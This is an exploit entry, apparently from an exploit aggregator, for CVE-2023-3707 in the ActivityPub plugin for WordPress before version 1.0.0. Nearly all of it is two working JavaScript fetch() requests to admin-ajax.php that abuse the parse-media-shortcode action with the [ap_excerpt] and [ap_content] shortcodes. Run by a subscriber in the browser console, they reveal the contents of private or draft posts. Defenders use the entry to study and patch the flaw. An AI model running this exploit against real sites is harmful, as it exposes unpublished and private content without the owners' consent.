Exploit for ActivityPub for WordPress < 1.0.0 - Subscriber+ Arbitrary Post Content Disclosure CVE-2023-3707

## https://sploitus.com/exploit?id=WPEX-ID:541BBE4C-3295-4073-901D-763556269F48
Run one of below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_excerpt]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_content]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the content of the private/draft post with ID 42 in the response.